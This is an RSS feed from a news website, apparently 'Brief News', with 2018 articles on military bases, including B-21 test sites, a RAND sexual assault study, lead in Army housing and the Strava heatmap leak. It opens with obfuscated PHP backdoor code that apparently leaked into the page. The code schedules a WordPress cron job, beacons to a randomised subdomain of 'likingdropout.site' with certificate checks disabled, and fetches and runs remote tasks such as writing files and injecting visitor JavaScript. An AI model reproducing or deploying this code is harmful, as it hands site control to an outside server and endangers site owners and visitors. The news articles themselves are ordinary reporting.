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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Bases – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 18 Nov 2018 15:04:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Bases – Brief News https://briefnews.eu 32 32 The Air Force has picked bases to test its new advanced bomber — here’s where the B-21 Raider is heading https://briefnews.eu/the-air-force-has-picked-bases-to-test-its-new-advanced-bomber-heres-where-the-b-21-raider-is-heading/ https://briefnews.eu/the-air-force-has-picked-bases-to-test-its-new-advanced-bomber-heres-where-the-b-21-raider-is-heading/#respond Sun, 18 Nov 2018 15:04:00 +0000 http://briefnews.eu/the-air-force-has-picked-bases-to-test-its-new-advanced-bomber-heres-where-the-b-21-raider-is-heading/ air force b21 bomberAir Force/Handout via Reuters

  • The Air Force expects to get the first of its new B-21 Raider bombers in the mid-2020s.
  • This week, the Air Force named the bases that would support testing and maintenance for the new bomber.
  • The service previously picked bases that would likely host the new bombers once the arrive.

On Friday, the Air Force announced the first two bases that will host its new, highly advanced bomber for testing and maintenance.

The service said in a release that Tinker Air Force Base in Oklahoma would coordinate maintenance and sustainment for the B-21 Raider and that Edwards Air Force Base in California had been picked to lead testing and evaluation of the next generation long-range strike bomber.

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]]> https://briefnews.eu/the-air-force-has-picked-bases-to-test-its-new-advanced-bomber-heres-where-the-b-21-raider-is-heading/feed/ 0 US Navy ships & training bases exposed as ‘highest risk’ in military sex assault report https://briefnews.eu/us-navy-ships-training-bases-exposed-as-highest-risk-in-military-sex-assault-report/ https://briefnews.eu/us-navy-ships-training-bases-exposed-as-highest-risk-in-military-sex-assault-report/#respond Sun, 23 Sep 2018 04:27:24 +0000 http://briefnews.eu/us-navy-ships-training-bases-exposed-as-highest-risk-in-military-sex-assault-report/ Young female service members, especially navy sailors, face the highest risk of sexual assault among all the branches of the US armed forces, the Pentagon’s RAND Corporation study reveals, having ranked all military installations.

Back in the summer of 2014, RAND conducted a survey of the sexual assault and sexual harassment experiences of some 170,000 members of the US armed forces. After months of delay of the report by the Pentagon, due to questions regarding the methodology, on Friday the survey was finally released to the public.

Producing a four-year-old snapshot of the sexual misconduct allegations across all branches of US armed forces, authors pointed out that female personnel onboard naval carriers face the highest danger levels.

Navy

“The highest-risk installation has an estimated one-year sexual assault risk of 17.1 percent for women in the Navy,” the report says, noting that ships in general “dominate the highest-risk installations.” Thirteen out of 15 highest-risk naval installations were ships or clusters of ships, including eight of the ten aircraft carriers. “Our model estimates that more than 10 percent of all women experienced a sexual assault at each of these high-risk installations over a one-year period, and more than 15 percent of all women were assaulted at two of them,” RAND discovered.

The Naval Support Activity Charleston was found to the be the most dangerous place, with “one in six women assigned to duty” there experiencing a sexual assault in 2014, followed by the USS George Washington with slightly over a 15 percent rate of attacks.

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US vessels also seem to be a risky place for male sailors, although they face sexual assault at a much lower rate. “More than 2.5 percent of men were assaulted on all of the ships in the highest-risk list,” the report said. An exception was one ship where “one in every 25 men” were sexually assaulted, the study said, without clarifying which vessel.

Air Force

Out of all branches, female US soldiers face the lowest risk of potential sexual assault in the Air Force, with an overall average rate of 3.1 percent. The highest-risk installations for women in 2014 were Vance, Oklahoma, Laughlin Texas, and Altus, Oklahoma. “The five highest-risk bases for Air Force women are all Air Education and Training Command bases, with the top three focused on undergraduate pilot training,” the study said. Men also feel more secure across the Air Force, with the highest sexual assault risk of about 0.5 percent at Altus base in Oklahoma.

Army

Compared to females, male soldiers also relatively at low risk in the army, with a one-to-two percent risk factor present at overseas bases, in Italy, Germany, and South Korea. “All of the highest-risk bases for women in the Army are associated with higher risk of sexual assault than the average for women at large Army installations,” the report said. These installations include large US, Japanese, and South Korean bases and two installations with large training programs in Fort Huachuca and the Presidio of Monterey, where an assault rate between five and 10 percent was registered.

Marine Corps

In the Marine Corps, female personnel face roughly a 10 percent risk at Air Station Yuma in Arizona, Air Ground Combat Center Twentynine Palms in California, and Air Station Beaufort in South Carolina. For male Marines, the highest risk factor of one-to-two percent was recorded at bases in Japan and South Korea. Most reports of sexual assaults against marines in 2014 were recorded in Camp Lejeune, North Carolina, with 514 offenses against both male and female recruits, followed by Camp Pendleton in California, with 465 registered incidents.

The Pentagon had repeatedly delayed the release of the report, fearing that the findings might influence new recruits’ willingness to join, or their choice of military branch. After the Pentagon received an updated draft of the probe on July 24, it demanded that RAND explain and defend the ‘methodology’ used in their research, prior to any release of the assessment.

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Jennifer Norris, US Air Force veteran and activist in the Military Rape Crisis Centre

The published findings offer a “valuable first look” for the Pentagon to estimate the sexual assault risk posed to its service members, the DoD said. “Given some of the limitations of the study, additional work must be done to explore the factors driving the results,” Maj. Carla Gleason, a Pentagon spokeswoman, was quoted as saying by Stars and Stripes.

“Sexual assault is a horrible crime that ultimately reduces force readiness and lethality,” she added, in a separate commentary. 

While the Pentagon somewhat brushed aside RAND’s conclusions, a non-profit dedicated to fighting sexual assault of women in the military urged the Pentagon, and the Navy in particular, to apply extra effort to protect female soldiers.

“The Navy needs to acknowledge that ships require extra effort to prevent sexual assault and to deal with its aftermath,” director of government relations at SWAN non-profit told Vice. “Senior Navy leaders should use this data when they make command selection decisions moving forward. Navy commanders who commanded highly problematic ships should not be promoted or given even greater responsibilities.”

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]]> https://briefnews.eu/us-navy-ships-training-bases-exposed-as-highest-risk-in-military-sex-assault-report/feed/ 0 Thousands of children on US Army bases may have been poisoned by lead — and the service is discouraging costly inspections https://briefnews.eu/thousands-of-children-on-us-army-bases-may-have-been-poisoned-by-lead-and-the-service-is-discouraging-costly-inspections/ https://briefnews.eu/thousands-of-children-on-us-army-bases-may-have-been-poisoned-by-lead-and-the-service-is-discouraging-costly-inspections/#respond Thu, 16 Aug 2018 21:29:01 +0000 http://briefnews.eu/thousands-of-children-on-us-army-bases-may-have-been-poisoned-by-lead-and-the-service-is-discouraging-costly-inspections/ Col. John Cale Brown and Darlena Brown pose for a portrait with their sons J.C. and Rider at their home in 2017.Reuters

  • The US military began privatizing housing more than a decade ago because it was supposed to protect service members’ families.
  • Instead, some of their children are being poisoned by lead, and inspections are discouraged in part because lead abatement can be costly.
  • From 2011 to 2016, Brooke Army Medical Center in Texas – which processes blood tests from many bases nationwide – registered more than 1,050 small children who tested above the CDC’s elevated threshold, the center’s records show.
  • The thousand-plus blood results, obtained from Army bases through Freedom of Information Act requests, provide only a glimpse of the problem.

Army Colonel J. Cale Brown put his life on the line in two tours of duty in Afghanistan, earning a pair of Bronze Stars for his service. In between those deployments, Brown received orders to report to Fort Benning, the sprawling Georgia base that proudly describes itself as the century-old home of the U.S. infantry.

He was pleased. His wife, Darlena, was pregnant with their second child, and the Browns owned a home in the area. Their 10-month-old son, John Cale Jr, was a precocious baby, babbling a dozen words and exploring solid foods.

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]]> https://briefnews.eu/thousands-of-children-on-us-army-bases-may-have-been-poisoned-by-lead-and-the-service-is-discouraging-costly-inspections/feed/ 0 Migrant kids could be held in US military bases at Mexico border https://briefnews.eu/migrant-kids-could-be-held-in-us-military-bases-at-mexico-border/ https://briefnews.eu/migrant-kids-could-be-held-in-us-military-bases-at-mexico-border/#respond Wed, 06 Jun 2018 15:38:35 +0000 http://briefnews.eu/migrant-kids-could-be-held-in-us-military-bases-at-mexico-border/

US military bases could soon be used as holding facilities for migrant children that have been separated from their parents at the southern border under the Trump administration’s “zero tolerance” immigration policies.

Officials from the US Department of Health and Human Services are planning to tour a number of military installations near the border in Texas in an effort to source more space to house children waiting for placements with sponsor families, NBC reported.

The installations under consideration are the Dyess Air Force Base, the Goodfellow Air Force Base, and Fort Bliss, a HHS spokesperson said.

Currently, hundreds of children are in custody at border stations in temporary facilities, which are known to lack adequate sleeping space and bedding – and nearly half of the children being held are under 12-years old.

According to HHS, which is responsible for accommodating the children with foster parents or relatives, it takes 45 days on average to find a sponsor.

The American Immigration Lawyers Association (AILA) has criticized the holding of children in temporary facilities as “highly inappropriate and even unsafe” due to the lack of adequate medical and nutritional resources.

“It would place these children at risk of harm if they are housed with adults without the proper privacy that children should have,” Greg Chen, director of government relations with AILA, told NBC.

The zero-tolerance policies came into play in May and mean that any adult entering the US illegally will be prosecuted and any who enter with children will be separated from them while awaiting legal action.

The UN this week criticized US President Donald Trump administration’s policies, saying that the US was “criminalizing what should be an administrative offense” and that the use of immigration “detention and family separation as a deterrent runs counter to human rights standards and principles.”

On Tuesday, Trump himself hit back on Twitter, accusing Democrats of causing the problem due to failure to enact tougher border security laws.

Last month, US Attorney General Jeff Sessions said that if a person was going to smuggle a child into the US, they should prepare to be prosecuted. “If you don’t like that, then don’t smuggle children over our border,” he said.

Peter Boogaard, a former Obama administration official, said that the situation was as a result of “total lack of planning or forethought” when it comes to the zero-tolerance policies implemented by the Trump White House. “They didn’t think this through at all – what it would mean for kids, for their parents and for the operational challenges,” he said.

However, inhumane immigration policies have not first appeared under Trump. Photographs showing migrant children being held in cages were recently spread on Twitter, with many criticizing the current administration for its cruel policies. It later emerged, however, that the photograph was taken in 2014 when Barack Obama was in office.

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]]> https://briefnews.eu/the-air-force-has-picked-3-bases-for-its-new-next-generation-bomber-heres-where-the-b-21-raider-is-headed/feed/ 0 Not fit for service: Russian military set to boot Coca Cola & Snickers bars off bases https://briefnews.eu/not-fit-for-service-russian-military-set-to-boot-coca-cola-snickers-bars-off-bases/ https://briefnews.eu/not-fit-for-service-russian-military-set-to-boot-coca-cola-snickers-bars-off-bases/#respond Wed, 28 Mar 2018 11:11:06 +0000 http://briefnews.eu/not-fit-for-service-russian-military-set-to-boot-coca-cola-snickers-bars-off-bases/ Russian soldiers are set to lose access to Coca Cola and Snickers bars at canteens and vending machines installed at bases, says a representative from a state contractor.

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“It is wrong when servicemen in military units claim that their favorite drink is Coca Cola and their favorite candy is Snickers. This situation is our target,” the general director of Voentorg, Vladimir Pavlov, was quoted as saying by TASS.

“So far we are not targeting Coca Cola, but we do target chocolate bars. I hope we will be able to do all of this in the nearest future,” he added. Pavlov also said that his company was working to seriously expand the network of about 2,000 vending machines selling food and drinks that are installed at military bases throughout Russia.

Russian officials have repeatedly drawn public attention to the health risks linked to regular consumption of junk food, and on several occasions have attempted to introduce laws that would help to reduce the threat.

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In mid-2015, parliamentary majority party United Russia prepared a bill introducing restrictions on advertising foodstuff with high sugar, salt and saturated fat content. If passed into law, the bill would essentially equate the advertising of junk food with the promotion of alcohol and tobacco.

However, the motion received a negative assessment from the Federal Anti-Monopoly Service and the Health Ministry, whose representatives claimed that such a measure would undermine the budget of the approaching 2018 FIFA World Cup, of which the Coca Cola Company is one of the official sponsors. 

In 2016, lawmakers from the center-left party Fair Russia asked the government to introduce graphic warning labels on fast food packaging, claiming that the step could prevent the spread of obesity and improve the general health of the population. The request has so far not been fulfilled.

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]]> https://briefnews.eu/not-fit-for-service-russian-military-set-to-boot-coca-cola-snickers-bars-off-bases/feed/ 0 Half of US military bases affected by climate change – Pentagon report https://briefnews.eu/half-of-us-military-bases-affected-by-climate-change-pentagon-report/ https://briefnews.eu/half-of-us-military-bases-affected-by-climate-change-pentagon-report/#respond Wed, 31 Jan 2018 23:15:09 +0000 http://briefnews.eu/half-of-us-military-bases-affected-by-climate-change-pentagon-report/ Climate change in the form of flooding, storm surges, wildfires or droughts is affecting 50 percent of 1,684 US military sites worldwide, according to a Pentagon study.

“Changes in climate can potentially shape the environment in which we operate and the missions we are required to do,” said the US Department of Defense in a report accompanying the survey. The conclusion comes from qualitative surveys conducted by personnel at each site. A military site is defined as a base, camp, post, station, center under DoD jurisdiction.

Survey respondents were asked to assess their sites based on six categories: flooding due to storm surge; flooding due to non-storm surge events (rain, snow, river overflow); extreme temperatures (hot and cold); wind; drought and wildfire.

The highest counts were for drought (782) followed by wind (763) and non-storm surge related flooding (706). About 10 percent of sites indicated being affected by extreme temperatures (351), while flooding due to storm surge (225) and wildfire (210) affected about 6 percent of sites, according to the survey.

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“Nearly 50 percent of sites (1,694) reported they had no effects to any assets from the effects,” the report said.

The Pentagon issued the report Friday in response to a congressional request to assess its installations for vulnerabilities to climate-related security risks, in order to help identify vulnerabilities and adaptive strategies. While

The report included examples of climate change effects at some of the US sites, along with maps.

One of the examples cited was the Fort Irwin Army base in California. A late summer monsoon in August 2013 dropped several inches of rain in a short period, causing substantial property damage as storm waters flowed into the site.

“More than 160 buildings in the cantonment area were flooded and sections of Fort Irwin’s extensive training area also sustained major storm damage. Training structures were toppled and supporting electronic target and communications systems were damaged,” said the report. It took months to remove storm debris and many buildings were closed for repairs.

At the Naval Weapons Station Earle in New Jersey, the October 2012 Hurricane Sandy sent high winds, storm surge and intense precipitation to the site resulting in $ 24 million in damages to the 2.9 mile-long pier.

“Nearly eight miles of water and sewer piping were destroyed at the base and particularly along the pier,” the report said.

At the US Air Force’s Cape Lisburne Long Range Radar Station on the northwest Alaska coast, the seawall that protests the gravel airstrip has been affected by “sea ice fluctuations, increasing water temperatures, thawing of permafrost soils and the effects of wave action.”

“Over the past decade the runway’s seawall has been depleted and eroded by wave action and extreme weather events. The damaged rock reinforcement became ineffective, and the 5.450 linear foot wall had to be replaced at a cost of $ 46.8 million,” the report said. “Our warfighters required bases from which to deploy, on which to train, or to live when they are deployed. If extreme weather makes our critical facilities unusable or necessitate costly or manpower-intensive work-arounds, that is an unacceptable impact.”

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]]> https://briefnews.eu/half-of-us-military-bases-affected-by-climate-change-pentagon-report/feed/ 0 Strava CEO responds after the company’s heat map may have compromised secret US military bases around the world https://briefnews.eu/strava-ceo-responds-after-the-companys-heat-map-may-have-compromised-secret-us-military-bases-around-the-world/ https://briefnews.eu/strava-ceo-responds-after-the-companys-heat-map-may-have-compromised-secret-us-military-bases-around-the-world/#respond Tue, 30 Jan 2018 10:31:35 +0000 http://briefnews.eu/strava-ceo-responds-after-the-companys-heat-map-may-have-compromised-secret-us-military-bases-around-the-world/ strava heat map pentagonStrava Heat Map

  • Strava CEO James Quarles released a statement following the publication of a fitness tracker heat map that may have exposed US military bases and sensitive humanitarian aide sites around the world.
  • Quarles said he would work with the military and government to address potentially sensitive data, although it’s unclear how, since the data is already out there.
  • The US military is reviewing its security practices after the map’s publication and its subsequent scrutiny online.

Strava’s CEO has responded after the fitness-tracking app released a global map of activity that appears to expose several sensitive US military and humanitarian relief sites around the world.

“In building [the map], we respected activity and profile privacy selections, including the ability to opt out of heatmaps altogether,” Strava CEO James Quarles wrote in a statement sent to Business Insider.

“However, we learned over the weekend that Strava members in the military, humanitarian workers, and others living abroad may have shared their location in areas without other activity density and, in doing so, inadvertently increased awareness of sensitive locations.”

Quarles wrote that he had family members in the military, and that his company is “taking this matter seriously and understand our responsibility.”

Quarles committed himself to “working with military and government officials to address potentially sensitive data” as well as streamlining the privacy features and “reviewing features that were originally designed for athlete motivation and inspiration to ensure they cannot be compromised by people with bad intent.”

Nowhere in the statement does Quarles apologize or accept or hint at any kind of forethought, wherein he might have envisioned negative impacts from the map beforehand. 

Can’t be undone

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As is normally the case with internet publishing, once the map went up, it was likely cached and cannot be removed. Anyone who gains access to Strava’s data can use it to track the movements of individuals, some of whom may be military personnel who visit classified sites.

Quarles refers to his app as a tool for “athlete motivation,” but does not acknowledge that much of the data displayed in the heat map, and likely the most sensitive data, comes from people who are not engaged in athletic pursuits, and have merely left the tracker on.

When US soldiers walk to the location of a classified patriot missile battery designed to defend their base from enemy missile fire, they’re not engaging in athletics. But the release of Strava’s heat map has now potentially exposed those journeys to the world.

Following the publication of the map and its subsequent revelations, Secretary of Defense Jim Mattis has been briefed and is reviewing the US military’s security practices.

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]]> https://briefnews.eu/strava-ceo-responds-after-the-companys-heat-map-may-have-compromised-secret-us-military-bases-around-the-world/feed/ 0 “Heatmap” for social athlete’s app reveals secret bases, secret places https://briefnews.eu/heatmap-for-social-athletes-app-reveals-secret-bases-secret-places/ https://briefnews.eu/heatmap-for-social-athletes-app-reveals-secret-bases-secret-places/#respond Tue, 30 Jan 2018 00:21:26 +0000 http://briefnews.eu/heatmap-for-social-athletes-app-reveals-secret-bases-secret-places/

Enlarge / A heatmap of Strava “workout” data revealed sensitive locations around the world, including some mysterious places in Syria. (credit: Strava)

On January 27, Nathan Ruser, a founder of the Institute for United Conflict Analysts, started looking at a rich source of geospatial data for locating military operations in Afghanistan, Iraq, Syria, and other conflict zones: a newly published “activity hotmap” for the fitness tracking application Strava. Others, including Tobias Schneider, started plumbing the depths of the Strava data store, based on data pulled from app users’ mobile devices. The heatmap was meant as a demonstration of the mass of activity over 2017 by Strava users.

But it, along with the other data available through Strava’s website and APIs, also may be exposing sensitive “patterns of life” of military and contractor personnel in conflict zones and even information about individuals in some of those places.

There’s nothing in the heatmap that specifically identifies who is connected with the data for a very confined path of movement in a compound northeast of Raqqa, for example, or the long tracks of what is most likely a vehicle route from Iraq to northern Syria. But those traces on the heatmap, along with others in areas around the world linked to military operations, have highlighted sometimes covert locations from Niger to Ukraine to Taiwan. And with a little work, it is in some cases possible to connect those activities to individuals—and track them back to their homes.

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]]> https://briefnews.eu/heatmap-for-social-athletes-app-reveals-secret-bases-secret-places/feed/ 0 A map of fitness tracker data may have just compromised top secret US military bases around the world https://briefnews.eu/a-map-of-fitness-tracker-data-may-have-just-compromised-top-secret-us-military-bases-around-the-world/ https://briefnews.eu/a-map-of-fitness-tracker-data-may-have-just-compromised-top-secret-us-military-bases-around-the-world/#respond Mon, 29 Jan 2018 10:39:10 +0000 http://briefnews.eu/a-map-of-fitness-tracker-data-may-have-just-compromised-top-secret-us-military-bases-around-the-world/ Strava heatmap

  • An interactive heatmap from Strava appears to have exposed sensitive sites.
  • Hackers or state actors could use the information to find bases.
  • Chinese, Taiwanese, and other nations’ bases were exposed too, but as the US has the biggest global presence, it stands the most to lose.

Over the weekend a company called Strava, a social network for athletes, updated an online heatmap which mapped out the routes of 1 billion workouts in 2017.

But in doing so, it seems to have expose secret US military in Turkey, Syria, and Yemen.

Strava drew on data from fitness trackers, like fitbits or smartphones, to track their workouts. But fitness tracker users skew western, young, and active. In countries like Niger, the heatmap highlights the activity of US soldiers on military bases keeping fit.

The result is potentially damning for the US military’s operational security.

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Previously covert bases may have been exposed. More importantly, the useful parts of the base have been highlighted. The heatmap shows that military personnel commonly jog around the perimeter of bases, thereby printing an outline on the heatmap.

Additionally, some may have left the trackers on while going about normal business. Important supply routes and key daily routines have likely been picked up by the heatmap.

“In Syria, known coalition (ie US) bases light up the night,” wrote military writer and analyst Tobias Schneider.

“Some light markers over known Russian positions, no notable colouring for Iranian bases … A lot of people are going to have to sit through lectures come Monday morning.”

But the most dangerous element of the heatmap isn’t the aggregated lines, it’s the potential to determine which individual drew which line. Anyone who gains access to Strava’s data, legally or otherwise, can then track that soldier’s movement, Jeffrey Lewis points out at the Daily Beast. 

A user who visits one secret military base, say a missile base, and then visits another location, may indicate that there’s another, previously secure, site of interest.

This data could inform both state and non-state actors as to where to attack in the case of war.

The US is not alone in being exposed — Chinese joggers in the South China Sea contributed data to the Strava map, as did workers on Taiwan’s secret missile bases. But the US’s larger presence around the globe means it had more to lose.

After the map came out, internet users in short order identified some of the most sensitive US military sites around the world.

Here Lewis believes a “highly secure office,” possibly the director of national intelligence and the National Counterterrorism Center have been exposed.

Here he seems to think US troops are running around the US’s nuclear weapons in Turkey.

Here a Twitter user cross-referencing other open-source analysis seems to think he’s spotted a CIA “black site,” or somewhere that unacknowledged covert work is taking place, in Djibouti.

But interestingly enough, the actual Pentagon, the headquarters of the Department of Defense, the biggest office building in the world, and the most well-known US military command center in the world, is dark.

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